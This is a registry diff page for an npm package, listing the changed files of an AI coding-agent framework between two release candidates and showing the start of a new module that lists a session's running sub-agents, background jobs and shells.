@cjhyy/code-shell-core 0.5.0-rc.1 → 0.6.0-rc.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -10
- package/dist/agent/agent-definition-registry.d.ts +21 -3
- package/dist/agent/agent-definition-registry.js +49 -18
- package/dist/agent/agent-definition.d.ts +32 -0
- package/dist/agent/agent-definition.js +49 -4
- package/dist/arena/arena.js +11 -12
- package/dist/arena/context/context-tools.js +47 -6
- package/dist/arena/context/within-root.d.ts +7 -0
- package/dist/arena/context/within-root.js +15 -0
- package/dist/arena/iterate/phases/argue.js +8 -2
- package/dist/arena/iterate/phases/revise.js +1 -1
- package/dist/arena/iterate/phases/tournament.js +3 -3
- package/dist/arena/ledger.js +9 -1
- package/dist/arena/phases/adjudication.js +1 -4
- package/dist/arena/phases/build-consensus.js +1 -4
- package/dist/arena/phases/cross-review.js +2 -8
- package/dist/arena/phases/debate-rounds.js +1 -4
- package/dist/arena/phases/participant-research.js +1 -4
- package/dist/arena/phases/planning-detail-expansion.js +8 -10
- package/dist/arena/planner.js +0 -1
- package/dist/arena/providers/docs.d.ts +1 -0
- package/dist/arena/providers/docs.js +5 -2
- package/dist/arena/providers/repo.d.ts +1 -0
- package/dist/arena/providers/repo.js +5 -2
- package/dist/arena/strategies/utils.d.ts +1 -4
- package/dist/arena/strategies/utils.js +7 -51
- package/dist/arena/transitions.d.ts +7 -2
- package/dist/arena/transitions.js +9 -4
- package/dist/arena/types.d.ts +8 -2
- package/dist/automation/cron-expr.d.ts +41 -0
- package/dist/automation/cron-expr.js +169 -0
- package/dist/automation/index.d.ts +41 -0
- package/dist/automation/index.js +39 -0
- package/dist/automation/runner.d.ts +84 -0
- package/dist/automation/runner.js +92 -0
- package/dist/automation/scheduler.d.ts +194 -0
- package/dist/automation/scheduler.js +623 -0
- package/dist/automation/store.d.ts +39 -0
- package/dist/automation/store.js +122 -0
- package/dist/automation/write-policy.d.ts +34 -0
- package/dist/automation/write-policy.js +113 -0
- package/dist/automation/write-run.d.ts +51 -0
- package/dist/automation/write-run.js +38 -0
- package/dist/capability-control/disabled-lists.d.ts +25 -0
- package/dist/capability-control/disabled-lists.js +57 -0
- package/dist/capability-control/index.d.ts +5 -0
- package/dist/capability-control/index.js +3 -0
- package/dist/capability-control/overlay.d.ts +64 -0
- package/dist/capability-control/overlay.js +116 -0
- package/dist/capability-control/project.d.ts +65 -0
- package/dist/capability-control/project.js +147 -0
- package/dist/capability-control/service.d.ts +70 -0
- package/dist/capability-control/service.js +147 -0
- package/dist/capability-control/types.d.ts +62 -0
- package/dist/capability-control/types.js +17 -0
- package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
- package/dist/cc-orchestrator/agent-adapter.js +133 -0
- package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
- package/dist/cc-orchestrator/cc-capability.js +53 -0
- package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
- package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
- package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
- package/dist/cc-orchestrator/codex-session-history.js +187 -0
- package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
- package/dist/cc-orchestrator/external-agent-changes.js +214 -0
- package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
- package/dist/cc-orchestrator/external-agent-driver.js +69 -0
- package/dist/cc-orchestrator/index.d.ts +8 -0
- package/dist/cc-orchestrator/index.js +8 -0
- package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
- package/dist/cc-orchestrator/relevance-judge.js +29 -0
- package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
- package/dist/cc-orchestrator/session-discovery.js +125 -0
- package/dist/cc-orchestrator/session-history.d.ts +19 -0
- package/dist/cc-orchestrator/session-history.js +67 -0
- package/dist/cli/agent-server-stdio.d.ts +26 -1
- package/dist/cli/agent-server-stdio.js +221 -28
- package/dist/cli/agent-server-tcp.d.ts +20 -0
- package/dist/cli/agent-server-tcp.js +134 -0
- package/dist/cli/graceful-shutdown.d.ts +27 -0
- package/dist/cli/graceful-shutdown.js +30 -0
- package/dist/context/compaction.d.ts +56 -0
- package/dist/context/compaction.js +209 -15
- package/dist/context/manager.d.ts +0 -20
- package/dist/context/manager.js +25 -41
- package/dist/cost-tracker.js +5 -61
- package/dist/credentials/cipher.d.ts +49 -0
- package/dist/credentials/cipher.js +45 -0
- package/dist/credentials/cookie-jar.d.ts +24 -0
- package/dist/credentials/cookie-jar.js +40 -0
- package/dist/credentials/index.d.ts +7 -0
- package/dist/credentials/index.js +5 -0
- package/dist/credentials/inject-credential-tool.d.ts +20 -0
- package/dist/credentials/inject-credential-tool.js +130 -0
- package/dist/credentials/store.d.ts +72 -0
- package/dist/credentials/store.js +184 -0
- package/dist/credentials/types.d.ts +56 -0
- package/dist/credentials/use-credential-tool.d.ts +29 -0
- package/dist/credentials/use-credential-tool.js +205 -0
- package/dist/credentials/use-gate.d.ts +56 -0
- package/dist/credentials/use-gate.js +52 -0
- package/dist/cron/cron-runtime.d.ts +2 -0
- package/dist/cron/cron-runtime.js +2 -0
- package/dist/cron/cron-store.d.ts +2 -0
- package/dist/cron/cron-store.js +2 -0
- package/dist/cron/scheduler.d.ts +5 -32
- package/dist/cron/scheduler.js +5 -113
- package/dist/data/model-metadata.d.ts +77 -0
- package/dist/data/model-metadata.js +56 -0
- package/dist/data/model-metadata.json +216 -0
- package/dist/data/openrouter-models.d.ts +18 -7
- package/dist/data/openrouter-models.js +35 -8
- package/dist/data/openrouter-sync.js +1 -1
- package/dist/engine/aux-key.d.ts +10 -0
- package/dist/engine/aux-key.js +11 -0
- package/dist/engine/dynamic-tool-defs.d.ts +19 -0
- package/dist/engine/dynamic-tool-defs.js +36 -0
- package/dist/engine/engine.d.ts +431 -108
- package/dist/engine/engine.js +1630 -279
- package/dist/engine/friendly-error.d.ts +18 -0
- package/dist/engine/friendly-error.js +63 -0
- package/dist/engine/goal.d.ts +187 -0
- package/dist/engine/goal.js +196 -0
- package/dist/engine/image-compression.d.ts +81 -0
- package/dist/engine/image-compression.js +186 -0
- package/dist/engine/image-policy.d.ts +165 -0
- package/dist/engine/image-policy.js +189 -0
- package/dist/engine/model-connections-pool.d.ts +17 -0
- package/dist/engine/model-connections-pool.js +66 -0
- package/dist/engine/model-facade.d.ts +10 -0
- package/dist/engine/model-facade.js +25 -0
- package/dist/engine/patch-orphaned-tools.js +3 -0
- package/dist/engine/reactive-threshold.d.ts +13 -0
- package/dist/engine/reactive-threshold.js +17 -0
- package/dist/engine/resolve-llm-config.d.ts +16 -0
- package/dist/engine/resolve-llm-config.js +44 -0
- package/dist/engine/runtime.js +9 -1
- package/dist/engine/sandbox-cache-key.d.ts +10 -0
- package/dist/engine/sandbox-cache-key.js +9 -0
- package/dist/engine/sandbox-config.d.ts +31 -0
- package/dist/engine/sandbox-config.js +38 -0
- package/dist/engine/session-title.d.ts +13 -0
- package/dist/engine/session-title.js +34 -0
- package/dist/engine/session-usage.d.ts +19 -0
- package/dist/engine/session-usage.js +25 -0
- package/dist/engine/steer-queue.d.ts +32 -0
- package/dist/engine/steer-queue.js +26 -0
- package/dist/engine/streaming-tool-queue.d.ts +12 -0
- package/dist/engine/streaming-tool-queue.js +50 -10
- package/dist/engine/turn-loop.d.ts +94 -9
- package/dist/engine/turn-loop.js +775 -342
- package/dist/engine/types.d.ts +175 -0
- package/dist/engine/types.js +13 -0
- package/dist/external-agents/config.d.ts +2 -0
- package/dist/external-agents/config.js +15 -0
- package/dist/external-agents/types.d.ts +31 -0
- package/dist/external-agents/types.js +1 -0
- package/dist/git/parse-log.d.ts +13 -0
- package/dist/git/parse-log.js +21 -0
- package/dist/git/utils.d.ts +8 -6
- package/dist/git/utils.js +62 -26
- package/dist/git/worktree.d.ts +48 -0
- package/dist/git/worktree.js +111 -20
- package/dist/hooks/events.d.ts +23 -1
- package/dist/hooks/goal-stop-hook.d.ts +58 -0
- package/dist/hooks/goal-stop-hook.js +279 -0
- package/dist/hooks/hook-output.d.ts +33 -0
- package/dist/hooks/hook-output.js +79 -0
- package/dist/hooks/registry.d.ts +15 -0
- package/dist/hooks/registry.js +57 -1
- package/dist/hooks/shell-runner.d.ts +2 -0
- package/dist/hooks/shell-runner.js +48 -18
- package/dist/index.d.ts +79 -11
- package/dist/index.js +89 -6
- package/dist/llm/capabilities/param-specs.d.ts +14 -0
- package/dist/llm/capabilities/param-specs.js +62 -0
- package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
- package/dist/llm/capabilities/reasoning-control.js +38 -0
- package/dist/llm/capabilities/rules.js +37 -3
- package/dist/llm/capabilities/types.d.ts +32 -2
- package/dist/llm/clamp-max-tokens.d.ts +11 -0
- package/dist/llm/clamp-max-tokens.js +17 -0
- package/dist/llm/client-base.d.ts +69 -5
- package/dist/llm/client-base.js +185 -25
- package/dist/llm/client-factory.d.ts +3 -3
- package/dist/llm/client-factory.js +2 -2
- package/dist/llm/model-cache.js +4 -2
- package/dist/llm/model-pool.d.ts +29 -11
- package/dist/llm/model-pool.js +36 -20
- package/dist/llm/provider-auth.d.ts +41 -0
- package/dist/llm/provider-auth.js +76 -0
- package/dist/llm/provider-catalog.d.ts +6 -2
- package/dist/llm/providers/anthropic.d.ts +32 -2
- package/dist/llm/providers/anthropic.js +207 -18
- package/dist/llm/providers/openai.d.ts +47 -2
- package/dist/llm/providers/openai.js +478 -71
- package/dist/llm/reasoning-setting.d.ts +51 -0
- package/dist/llm/reasoning-setting.js +40 -0
- package/dist/llm/stop-reason.d.ts +13 -0
- package/dist/llm/stop-reason.js +21 -0
- package/dist/llm/stream-watchdog.js +5 -1
- package/dist/llm/strip-vision.d.ts +32 -0
- package/dist/llm/strip-vision.js +94 -0
- package/dist/llm/token-counter.js +9 -2
- package/dist/llm/types.d.ts +9 -6
- package/dist/logging/logger.js +18 -4
- package/dist/logging/sanitize-messages.d.ts +10 -0
- package/dist/logging/sanitize-messages.js +112 -0
- package/dist/lsp/client.js +28 -8
- package/dist/lsp/manager.d.ts +1 -1
- package/dist/lsp/manager.js +42 -11
- package/dist/lsp/root-path.d.ts +9 -0
- package/dist/lsp/root-path.js +12 -0
- package/dist/model-catalog/builtin.d.ts +12 -0
- package/dist/model-catalog/builtin.js +407 -0
- package/dist/model-catalog/gen-connections.d.ts +20 -0
- package/dist/model-catalog/gen-connections.js +28 -0
- package/dist/model-catalog/index.d.ts +41 -0
- package/dist/model-catalog/index.js +90 -0
- package/dist/model-catalog/params.d.ts +20 -0
- package/dist/model-catalog/params.js +45 -0
- package/dist/model-catalog/resolve.d.ts +48 -0
- package/dist/model-catalog/resolve.js +33 -0
- package/dist/model-catalog/save-entry.d.ts +32 -0
- package/dist/model-catalog/save-entry.js +104 -0
- package/dist/model-catalog/types.d.ts +561 -0
- package/dist/model-catalog/types.js +93 -0
- package/dist/model-catalog/upsert.d.ts +9 -0
- package/dist/model-catalog/upsert.js +8 -0
- package/dist/onboarding.d.ts +12 -82
- package/dist/onboarding.js +75 -333
- package/dist/plugins/gitOps.d.ts +53 -0
- package/dist/plugins/gitOps.js +130 -5
- package/dist/plugins/installer/checkUpdate.d.ts +16 -0
- package/dist/plugins/installer/checkUpdate.js +32 -0
- package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
- package/dist/plugins/installer/codex/convertAgents.js +55 -0
- package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
- package/dist/plugins/installer/codex/convertCommands.js +46 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +11 -0
- package/dist/plugins/installer/codex/convertMcp.js +85 -0
- package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
- package/dist/plugins/installer/codex/convertSkills.js +33 -0
- package/dist/plugins/installer/detectFormat.d.ts +2 -0
- package/dist/plugins/installer/detectFormat.js +6 -0
- package/dist/plugins/installer/install.d.ts +7 -0
- package/dist/plugins/installer/install.js +123 -0
- package/dist/plugins/installer/installFromArchive.d.ts +43 -0
- package/dist/plugins/installer/installFromArchive.js +134 -0
- package/dist/plugins/installer/installFromSource.d.ts +13 -0
- package/dist/plugins/installer/installFromSource.js +51 -0
- package/dist/plugins/installer/list.d.ts +9 -0
- package/dist/plugins/installer/list.js +30 -0
- package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
- package/dist/plugins/installer/loadPluginAgents.js +27 -0
- package/dist/plugins/installer/loadPluginMcp.d.ts +14 -0
- package/dist/plugins/installer/loadPluginMcp.js +107 -0
- package/dist/plugins/installer/parseSource.d.ts +20 -0
- package/dist/plugins/installer/parseSource.js +74 -0
- package/dist/plugins/installer/paths.d.ts +5 -0
- package/dist/plugins/installer/paths.js +25 -0
- package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
- package/dist/plugins/installer/pruneDisabled.js +73 -0
- package/dist/plugins/installer/types.d.ts +52 -0
- package/dist/plugins/installer/types.js +28 -0
- package/dist/plugins/installer/uninstall.d.ts +2 -0
- package/dist/plugins/installer/uninstall.js +18 -0
- package/dist/plugins/installer/unzip.d.ts +14 -0
- package/dist/plugins/installer/unzip.js +82 -0
- package/dist/plugins/installer/update.d.ts +28 -0
- package/dist/plugins/installer/update.js +97 -0
- package/dist/plugins/loadPluginHooks.d.ts +54 -1
- package/dist/plugins/loadPluginHooks.js +83 -1
- package/dist/plugins/marketplaceManager.d.ts +15 -1
- package/dist/plugins/marketplaceManager.js +58 -4
- package/dist/plugins/pluginCommandHook.js +34 -14
- package/dist/plugins/pluginContent.d.ts +30 -0
- package/dist/plugins/pluginContent.js +83 -0
- package/dist/plugins/pluginInstaller.d.ts +34 -0
- package/dist/plugins/pluginInstaller.js +168 -35
- package/dist/plugins/schemas.js +41 -6
- package/dist/plugins/types.d.ts +10 -0
- package/dist/preset/index.d.ts +7 -1
- package/dist/preset/index.js +112 -6
- package/dist/product/types.d.ts +1 -1
- package/dist/prompt/composer.d.ts +31 -0
- package/dist/prompt/composer.js +95 -25
- package/dist/prompt/instruction-scanner.js +5 -3
- package/dist/prompt/section-loader.js +1 -0
- package/dist/prompt/sections/base.md +1 -0
- package/dist/prompt/sections/browser.md +10 -0
- package/dist/prompt/sections/coding.md +4 -0
- package/dist/prompt/sections/orchestration.md +8 -0
- package/dist/protocol/chat-session-manager.d.ts +15 -2
- package/dist/protocol/chat-session-manager.js +46 -0
- package/dist/protocol/chat-session.d.ts +82 -0
- package/dist/protocol/chat-session.js +121 -1
- package/dist/protocol/client.d.ts +27 -0
- package/dist/protocol/client.js +38 -0
- package/dist/protocol/redact.d.ts +50 -0
- package/dist/protocol/redact.js +71 -0
- package/dist/protocol/server.d.ts +153 -2
- package/dist/protocol/server.js +807 -39
- package/dist/protocol/tcp-transport.d.ts +45 -0
- package/dist/protocol/tcp-transport.js +74 -0
- package/dist/protocol/transport.js +3 -2
- package/dist/protocol/types.d.ts +69 -0
- package/dist/protocol/types.js +22 -0
- package/dist/quota/credentials.d.ts +3 -0
- package/dist/quota/credentials.js +80 -0
- package/dist/quota/index.d.ts +36 -0
- package/dist/quota/index.js +155 -0
- package/dist/quota/types.d.ts +48 -0
- package/dist/quota/types.js +13 -0
- package/dist/remote/bridge.d.ts +11 -2
- package/dist/remote/bridge.js +61 -33
- package/dist/review/review-prompt.d.ts +28 -0
- package/dist/review/review-prompt.js +81 -0
- package/dist/run/ArtifactTracker.js +5 -4
- package/dist/run/EngineRunner.d.ts +27 -1
- package/dist/run/EngineRunner.js +46 -8
- package/dist/run/FileRunStore.js +40 -11
- package/dist/run/RunApprovalBackend.js +25 -5
- package/dist/run/RunLock.d.ts +28 -2
- package/dist/run/RunLock.js +49 -7
- package/dist/run/RunManager.d.ts +12 -0
- package/dist/run/RunManager.js +86 -3
- package/dist/run/RunQueue.d.ts +1 -0
- package/dist/run/RunQueue.js +8 -2
- package/dist/run/factory.d.ts +8 -1
- package/dist/run/factory.js +1 -0
- package/dist/run/index.d.ts +2 -2
- package/dist/run/index.js +1 -1
- package/dist/run/redirect-target.d.ts +7 -0
- package/dist/run/redirect-target.js +13 -0
- package/dist/run/types.js +1 -1
- package/dist/runtime/background-shell.d.ts +139 -0
- package/dist/runtime/background-shell.js +495 -0
- package/dist/runtime/output-clean.d.ts +24 -0
- package/dist/runtime/output-clean.js +41 -0
- package/dist/runtime/ring-file.d.ts +64 -0
- package/dist/runtime/ring-file.js +174 -0
- package/dist/runtime/safe-spawn.js +15 -34
- package/dist/runtime/spawn-common.d.ts +148 -0
- package/dist/runtime/spawn-common.js +303 -0
- package/dist/runtime/truncate-output.d.ts +22 -0
- package/dist/runtime/truncate-output.js +49 -0
- package/dist/runtime/utf8-cut.d.ts +11 -0
- package/dist/runtime/utf8-cut.js +23 -0
- package/dist/services/auto-dream.d.ts +4 -0
- package/dist/services/auto-dream.js +26 -26
- package/dist/services/browser-open.d.ts +13 -0
- package/dist/services/browser-open.js +16 -0
- package/dist/services/diagnostics.d.ts +1 -2
- package/dist/services/diagnostics.js +12 -7
- package/dist/services/dream-consolidation.d.ts +57 -0
- package/dist/services/dream-consolidation.js +151 -0
- package/dist/services/extract-memories.d.ts +14 -1
- package/dist/services/extract-memories.js +45 -6
- package/dist/services/memory-orchestrator.d.ts +21 -0
- package/dist/services/memory-orchestrator.js +125 -32
- package/dist/services/notifier.d.ts +8 -0
- package/dist/services/notifier.js +39 -25
- package/dist/services/oauth.js +5 -7
- package/dist/services/session-memory-sort.d.ts +8 -0
- package/dist/services/session-memory-sort.js +9 -0
- package/dist/services/session-memory.js +30 -19
- package/dist/session/file-history.d.ts +124 -1
- package/dist/session/file-history.js +232 -9
- package/dist/session/memory.d.ts +116 -2
- package/dist/session/memory.js +250 -28
- package/dist/session/session-manager.d.ts +63 -1
- package/dist/session/session-manager.js +186 -5
- package/dist/session/simple-diff.d.ts +23 -0
- package/dist/session/simple-diff.js +84 -0
- package/dist/session/transcript.d.ts +25 -1
- package/dist/session/transcript.js +35 -2
- package/dist/session/undo-target.d.ts +67 -0
- package/dist/session/undo-target.js +144 -0
- package/dist/settings/disk-defaults.d.ts +42 -0
- package/dist/settings/disk-defaults.js +33 -0
- package/dist/settings/feature-flags.d.ts +64 -0
- package/dist/settings/feature-flags.js +61 -0
- package/dist/settings/manager.d.ts +101 -1
- package/dist/settings/manager.js +345 -15
- package/dist/settings/migrate-config.d.ts +45 -0
- package/dist/settings/migrate-config.js +125 -0
- package/dist/settings/personalization.d.ts +19 -0
- package/dist/settings/personalization.js +7 -0
- package/dist/settings/schema-export.d.ts +25 -0
- package/dist/settings/schema-export.js +38 -0
- package/dist/settings/schema.d.ts +1827 -396
- package/dist/settings/schema.js +361 -81
- package/dist/skills/scanner.d.ts +9 -0
- package/dist/skills/scanner.js +30 -2
- package/dist/stt/resolve-transcribe.d.ts +31 -0
- package/dist/stt/resolve-transcribe.js +108 -0
- package/dist/stt/transcribe.d.ts +51 -0
- package/dist/stt/transcribe.js +65 -0
- package/dist/tool-system/browser-bridge.d.ts +226 -0
- package/dist/tool-system/browser-bridge.js +163 -0
- package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
- package/dist/tool-system/builtin/add-marketplace.js +76 -0
- package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
- package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
- package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
- package/dist/tool-system/builtin/agent-notifications.js +9 -3
- package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
- package/dist/tool-system/builtin/agent-output-file.js +72 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +23 -0
- package/dist/tool-system/builtin/agent-registry.js +16 -4
- package/dist/tool-system/builtin/agent.d.ts +50 -11
- package/dist/tool-system/builtin/agent.js +576 -73
- package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
- package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
- package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
- package/dist/tool-system/builtin/apply-patch/index.js +7 -3
- package/dist/tool-system/builtin/arena.js +6 -7
- package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
- package/dist/tool-system/builtin/background-jobs.js +124 -0
- package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
- package/dist/tool-system/builtin/background-shell-tools.js +108 -0
- package/dist/tool-system/builtin/background-work.d.ts +67 -0
- package/dist/tool-system/builtin/background-work.js +86 -0
- package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
- package/dist/tool-system/builtin/bash-output-style.js +40 -0
- package/dist/tool-system/builtin/bash.d.ts +5 -2
- package/dist/tool-system/builtin/bash.js +98 -62
- package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
- package/dist/tool-system/builtin/browser-tools.js +312 -0
- package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
- package/dist/tool-system/builtin/cancel-goal.js +64 -0
- package/dist/tool-system/builtin/check-quota.d.ts +15 -0
- package/dist/tool-system/builtin/check-quota.js +34 -0
- package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
- package/dist/tool-system/builtin/complete-goal.js +45 -0
- package/dist/tool-system/builtin/config.js +7 -0
- package/dist/tool-system/builtin/cron.d.ts +7 -0
- package/dist/tool-system/builtin/cron.js +105 -9
- package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
- package/dist/tool-system/builtin/drive-claude-code.js +157 -0
- package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
- package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
- package/dist/tool-system/builtin/edit.d.ts +2 -1
- package/dist/tool-system/builtin/edit.js +21 -12
- package/dist/tool-system/builtin/eol.d.ts +29 -0
- package/dist/tool-system/builtin/eol.js +37 -0
- package/dist/tool-system/builtin/file-cache.d.ts +6 -0
- package/dist/tool-system/builtin/file-cache.js +8 -0
- package/dist/tool-system/builtin/generate-image.d.ts +60 -0
- package/dist/tool-system/builtin/generate-image.js +374 -0
- package/dist/tool-system/builtin/generate-video.d.ts +55 -0
- package/dist/tool-system/builtin/generate-video.js +361 -0
- package/dist/tool-system/builtin/grep.js +6 -2
- package/dist/tool-system/builtin/image-providers.d.ts +86 -0
- package/dist/tool-system/builtin/image-providers.js +190 -0
- package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
- package/dist/tool-system/builtin/image-uploader.js +74 -0
- package/dist/tool-system/builtin/index.d.ts +24 -1
- package/dist/tool-system/builtin/index.js +310 -25
- package/dist/tool-system/builtin/mcp-tools.js +23 -3
- package/dist/tool-system/builtin/memory.js +45 -7
- package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
- package/dist/tool-system/builtin/notebook-edit.js +1 -1
- package/dist/tool-system/builtin/powershell.js +4 -1
- package/dist/tool-system/builtin/read.d.ts +2 -1
- package/dist/tool-system/builtin/read.js +11 -3
- package/dist/tool-system/builtin/repl.js +4 -1
- package/dist/tool-system/builtin/skill.js +9 -0
- package/dist/tool-system/builtin/sleep.js +12 -5
- package/dist/tool-system/builtin/task.js +4 -1
- package/dist/tool-system/builtin/tool-search.js +25 -7
- package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
- package/dist/tool-system/builtin/update-automation-memory.js +60 -0
- package/dist/tool-system/builtin/video-providers.d.ts +154 -0
- package/dist/tool-system/builtin/video-providers.js +235 -0
- package/dist/tool-system/builtin/view-image.d.ts +18 -0
- package/dist/tool-system/builtin/view-image.js +96 -0
- package/dist/tool-system/builtin/web-fetch.js +12 -2
- package/dist/tool-system/builtin/web-search.d.ts +4 -1
- package/dist/tool-system/builtin/web-search.js +57 -10
- package/dist/tool-system/builtin/worktree.d.ts +2 -1
- package/dist/tool-system/builtin/worktree.js +31 -4
- package/dist/tool-system/builtin/write.d.ts +2 -1
- package/dist/tool-system/builtin/write.js +1 -1
- package/dist/tool-system/context.d.ts +166 -6
- package/dist/tool-system/executor.d.ts +3 -2
- package/dist/tool-system/executor.js +197 -119
- package/dist/tool-system/investigation-guard.d.ts +4 -1
- package/dist/tool-system/investigation-guard.js +20 -4
- package/dist/tool-system/mcp-manager.d.ts +78 -16
- package/dist/tool-system/mcp-manager.js +357 -28
- package/dist/tool-system/path-policy.d.ts +99 -0
- package/dist/tool-system/path-policy.js +578 -0
- package/dist/tool-system/permission.d.ts +36 -1
- package/dist/tool-system/permission.js +322 -117
- package/dist/tool-system/plan-mode-allowlist.d.ts +32 -0
- package/dist/tool-system/plan-mode-allowlist.js +65 -0
- package/dist/tool-system/registry.d.ts +1 -0
- package/dist/tool-system/registry.js +26 -1
- package/dist/tool-system/sandbox/index.d.ts +8 -0
- package/dist/tool-system/sandbox/index.js +7 -2
- package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
- package/dist/tool-system/validate-tool-metadata.js +63 -0
- package/dist/tool-system/validation.d.ts +10 -0
- package/dist/tool-system/validation.js +16 -3
- package/dist/types.d.ts +301 -15
- package/dist/updater.js +20 -9
- package/dist/utils/envUtils.d.ts +0 -9
- package/dist/utils/envUtils.js +3 -28
- package/dist/utils/exec.d.ts +40 -0
- package/dist/utils/exec.js +144 -0
- package/dist/utils/format.js +4 -2
- package/dist/utils/json.d.ts +12 -0
- package/dist/utils/json.js +92 -0
- package/dist/utils/lockfile.js +9 -2
- package/dist/utils/theme.d.ts +7 -1
- package/dist/utils/theme.js +5 -3
- package/dist/utils/toolDisplay.js +0 -1
- package/package.json +14 -7
- package/dist/agent/coordinator.d.ts +0 -49
- package/dist/agent/coordinator.js +0 -77
- package/dist/settings/manager.test.js +0 -73
- package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
- package/dist/tool-system/builtin/remote-trigger.js +0 -54
- package/dist/tool-system/builtin/send-message.d.ts +0 -6
- package/dist/tool-system/builtin/send-message.js +0 -47
- /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unified view over the THREE kinds of async background work — background
|
|
3
|
+
* sub-agents (asyncAgentRegistry), background jobs / video polls
|
|
4
|
+
* (backgroundJobRegistry), and background shells (backgroundShellManager).
|
|
5
|
+
*
|
|
6
|
+
* Used by the goal-stop-hook to show the judge LLM what's still running, so it
|
|
7
|
+
* can tell "the goal is done except for a finite task that will wake me" (a
|
|
8
|
+
* download / video render → allow stop, wait for the wakeup) from "a long-lived
|
|
9
|
+
* service that the goal doesn't depend on" (a dev server → judge the goal
|
|
10
|
+
* normally). Replacing the old mechanical `hasRunningForSession` short-circuit:
|
|
11
|
+
* a boolean can't distinguish a finite download from a never-ending dev server,
|
|
12
|
+
* but the judge — given each task's kind + command — can.
|
|
13
|
+
*/
|
|
14
|
+
import { asyncAgentRegistry } from "./agent-registry.js";
|
|
15
|
+
import { backgroundJobRegistry } from "./background-jobs.js";
|
|
16
|
+
import { backgroundShellManager } from "../../runtime/background-shell.js";
|
|
17
|
+
/** List every still-running background work item spawned by `sessionId`. */
|
|
18
|
+
export function listRunningBackgroundWork(sessionId) {
|
|
19
|
+
const items = [];
|
|
20
|
+
for (const a of asyncAgentRegistry.listForSession(sessionId)) {
|
|
21
|
+
if (a.status === "running") {
|
|
22
|
+
items.push({
|
|
23
|
+
kind: "subagent",
|
|
24
|
+
description: a.description || a.name || a.agentType || "(background sub-agent)",
|
|
25
|
+
});
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
for (const j of backgroundJobRegistry.listRunningForSession(sessionId)) {
|
|
29
|
+
items.push({ kind: "job", description: j.description || "(background job)" });
|
|
30
|
+
}
|
|
31
|
+
for (const s of backgroundShellManager.listForSession(sessionId)) {
|
|
32
|
+
if (s.status === "running" || s.status === "starting") {
|
|
33
|
+
items.push({
|
|
34
|
+
kind: "shell",
|
|
35
|
+
description: s.command,
|
|
36
|
+
...(s.detectedPort != null ? { detectedPort: s.detectedPort } : {}),
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
return items;
|
|
41
|
+
}
|
|
42
|
+
/**
|
|
43
|
+
* Every background-work item spawned by `sessionId`, with per-kind detail, for
|
|
44
|
+
* the desktop panel. Includes finished sub-agents that are still within their
|
|
45
|
+
* fade window (so a just-completed agent doesn't vanish before the user sees
|
|
46
|
+
* it); shells carry their own terminal status and the panel decides how long to
|
|
47
|
+
* keep them. Jobs are only ever present while running (the registry drops them
|
|
48
|
+
* on finish).
|
|
49
|
+
*/
|
|
50
|
+
export function listBackgroundWorkForUI(sessionId) {
|
|
51
|
+
const entries = [];
|
|
52
|
+
for (const s of backgroundShellManager.listForSession(sessionId)) {
|
|
53
|
+
entries.push({ kind: "shell", shell: s });
|
|
54
|
+
}
|
|
55
|
+
const now = Date.now();
|
|
56
|
+
for (const a of asyncAgentRegistry.listForSession(sessionId)) {
|
|
57
|
+
// Keep running agents, plus finished ones still inside their fade window so
|
|
58
|
+
// a completion is briefly visible. (finishedFadeAt = finishedAt + 30s.)
|
|
59
|
+
const fresh = a.status === "running" || (a.finishedFadeAt != null && a.finishedFadeAt > now);
|
|
60
|
+
if (!fresh)
|
|
61
|
+
continue;
|
|
62
|
+
entries.push({
|
|
63
|
+
kind: "subagent",
|
|
64
|
+
agentId: a.agentId,
|
|
65
|
+
name: a.name,
|
|
66
|
+
agentType: a.agentType,
|
|
67
|
+
description: a.description,
|
|
68
|
+
status: a.status,
|
|
69
|
+
startedAt: a.startedAt,
|
|
70
|
+
finishedAt: a.finishedAt,
|
|
71
|
+
});
|
|
72
|
+
}
|
|
73
|
+
for (const j of backgroundJobRegistry.listForSession(sessionId)) {
|
|
74
|
+
entries.push({
|
|
75
|
+
kind: "job",
|
|
76
|
+
jobId: j.jobId,
|
|
77
|
+
